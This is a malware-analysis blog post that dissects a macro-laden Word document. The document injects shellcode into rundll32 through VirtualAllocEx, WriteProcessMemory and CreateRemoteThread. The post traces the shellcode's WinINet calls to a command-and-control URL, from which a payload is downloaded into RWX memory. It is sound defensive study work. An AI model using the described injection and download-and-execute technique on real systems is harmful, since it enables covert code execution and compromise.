> For the complete documentation index, see [llms.txt](https://blog.redbluepurpl.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.redbluepurpl.com/other/malware-analysis/maldocs-and-shellcode.md).

# Maldocs and shellcode

![](/files/-MXNZtNMK5Am3aDAoOJU)

{% hint style="warning" %}
This is a continuation of the [Maldocs payload extraction](https://blog.redbluepurple.io/malware-analysis/dynamic-analysis-of-malicious-office-documents) post, with a deeper dive into one particular shellcode-enabled document.
{% endhint %}

In the previous post we looked into a few quick wins for dynamic payload extraction from Office maldocs, using the Office VBA editor, x64dbg and AMSI. While these techniques together with static code review should be sufficient when working with most samples, many exceptions can make the analysis a bit more demanding— one such exception is shellcode.

### &#x20;Analyzing the macro

We can find malicious documents leveraging shellcode using the below VirusTotal query:\
`type:doc p:10+ code injection`

![](/files/-MXhQ3OA2e9U_fi_OfuS)

In my search this "50.doc" stood out the most with 33 vendors flagging it as malicious. The document contains several VBA modules, and in one we quickly find what appears to be a shellcode array.

![](/files/-MXhPwacQEzbTRrDASXW)

Keeping in mind that it may or may not be stored in an XOR’ed / encrypted form, any attempt at conversion and extraction through VBA scripting would have to be done after decryption routines have ran. Instead we are going to take a shortcut and use x64dbg with Process Hacker later on to grab the instructions directly from target memory segment.

Another thing we notice is that the sample references 4 WinAPIs it is going to use to accomplish the injection.

![](/files/-MXhPgB025mPWi8a6w1p)

Each function receives a VBA function alias which will be used later in the code to perform the associated API call.

```
kernel32_CreateRemoteThread    CreateStuff
kernel32_VirtualAllocEx        AllocStuff
kernel32_WriteProcessMemory    WriteStuff
kernel32_CreateProcessA        RunStuff
```

The first call — to `RunStuff (CreateProcessA)` takes variable a `sProc` for command line of the new process. Contents of `sProc` are heavily obfuscated, but placing a break point on the next instruction and running the module will allow us to read the clear-text command line, which is either

* `C:\Windows\SysWOW64\rundll32.exe`

or

* `C:\Windows\System32\rundll32.exe`

depending on the system architecture.&#x20;

This is going to be the process where a new `PAGE_EXECUTE_READWRITE` memory segment will be allocated, as indicated by the `0x40` memory protection constant passed to `VirtualAllocEx`.

Next a For loop is used to iterate through the discovered array of bytes, passing those one by one over to `WriteProcessMemory`, and `CreateRemoteThread` is used to initiate execution of the shellcode.

![](/files/-MXhQ9kP1QJyzfXtgRLz)

### Shellcode extraction

We now have enough intel to  set a breakpoint on calls to `kernel32_WriteProcessMemory`, in order to identify the newly allocated memory segment where the shellcode is about to get populated.

&#x20;After reaching the call and consulting MSDOCS we know that the `RDX` register holds a pointer to the `lpBaseAddress` which is the beginning of our shellcode memory page — `0x2e80000`.

![](/files/-MXhQMf22d7L7gAMF1qK)

&#x20;We can also confirm that `WINWORD.EXE` has already spawned `rundll32.exe` in a suspended state.

![](/files/-MXhQVioLZu15EYnYO2U)

Browsing through memory pages of that process, the page at `0x2e80000` clearly sticks out with it’s `Private: Commit` allocation type and `RWX` protection.

![](/files/-MXhQtdxqe5CcN0b6MlX)

Looking at the memory contents of that region, it contains our first hex byte `\xFC`.

![](/files/-MXhR7J0-a31eiJhY-oU)

At this point we have successfully identified the memory space where the shellcode will be written.

We can now disable the breakpoint on `kernel32_WriteProcessMemory`, and add a new breakpoint on `kernel32_CreateRemoteThread`. The execution can then be resumed to let the malware copy over all of the assembly.

We can already see some interesting strings in the raw contents

* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
* 10.1.198.17

![](/files/-MXhROcHq605xtKLHgRW)

Process Hacker allows us to save the identified memory segment, which we can further reverse and debug.

Looking up the IP address on VT confirms it is indeed known for getting comms from several maldocs — including our 50.doc.

![](/files/-MXhRpCOSR5oaSyeovMv)

Shellcode is usually a bit of position-independent code, expected to be able to successfully accomplish it’s tasks, regardless of where in memory it resides. To make the debugging easier, we want to add this machine code to some sort of a shellcode harness, converting it into a PE will greatly increase the amount of tools we can use.

![](/files/-MXhRifB9SwbtLJz3dgo)

After we have the executable ready, we can drop it into x64dbg.

At the very beginning of the code we notice multiple instructions that are very typical of memory position-independent malware referencing structures stored at known relative offsets — first the *Thread Information Block (TIB)* structure (*FS/GS segment register*) to get address of the *Process Environmental Block (PEB)* at offset `+0x30`, and later other structures needed for things like dynamically loading libraries.

```
0x00c _PEB_LDR_DATA* Ldr;
0x014 void* SubSystemData;
0x028 DWORD EnvironmentUpdateCount;
```

![](/files/-MXhSHXCbZrP3rmouHzQ)

&#x20;We then go through decryption routines loading our strings — like the file system path to the process image, names of *WinAPI* and *libc functions.*

```
C:\Users\admin\Desktop\Memory.exe
TermsrvGetWindowsDirectoryW
wcstoul
wcstombs
wcsspn
wcsrchr
wcspbrk
wsccpy_s
LoadLibraryA
wininet
```

![](/files/-MXhS_Ew14DhgsfLtdlv)

&#x20;Finally we see it loading `wininet` by jumping to `LoadLibraryA` address held in `EAX`.

![](/files/-MXhShj_o0utM5ClLVPQ)

&#x20;Later on the same loader function is used to initialize use of `WinINet` by calling `wininet.InternetOpenA`, and open an HTTP comms channel with our C2, over remote `TCP8888 (InternetConnectA)`.

```
void InternetConnectA(   
    HINTERNET     hInternet == 4, //wininet instance handle
    LPCSTR        lpszServerName == 10.1.198.18,  
    INTERNET_PORT nServerPort == 22B8, 
    DWORD         dwService == 3, 
);
```

![](/files/-MXhTATYELDZutZve4M3)

&#x20;From a call to `wininet.HttpOpenRequestA` we learn that it requests the ***/OOmQ*** path, and a call to `wininet.HttpSendRequestA` uses the User-Agent string found earlier.

```
void HttpOpenRequestA( 
    HINTERNET hConnect == 8,
    LPCSTR lpszObjectName == "/OOmQ", 
);

BOOLAPI HttpSendRequestA(   
    HINTERNET hRequest == 00CC000C,   
    LPCSTR    lpszHeaders == "User-Agent: Mozilla/5.0 ...",   
    DWORD     dwHeadersLength == FFFFFFFF,
);
```

![](/files/-MXhTVaYi5PN_SayYo9c)

![](/files/-MXhTZI-BvKgHn_KWqRP)

If the request to `hxxp://10.1.198.17:8888/OOmQ` times out, the process exits `kernel32.ExitProcess`.

We are not going to attempt analysis of that file, but if we wanted to further investigate what the shellcode is doing with it, we can serve our own PE file on this address, and see how it’s processed by the shellcode.

To do this we can use Fiddler AutoResponder conditional rules and a random EXE.

![](/files/-MXhTpF31LcQdQ3W-Ol9)

The file is requested and returned to the shellcode process

![](/files/-MXhTuyBkDVX2yO8ytWJ)

`VirtualAlloc` allocates new memory region with `RWX` protection. The same region then receives the remote file from `wininet.InternetReadFile`.

![](/files/-MXhU59FAC-vZii_weBJ)

![](/files/-MXhU9e7nb_DzbsBDiJF)

![](/files/-MXhUIrolhEkrukI4DN8)

And all is clear
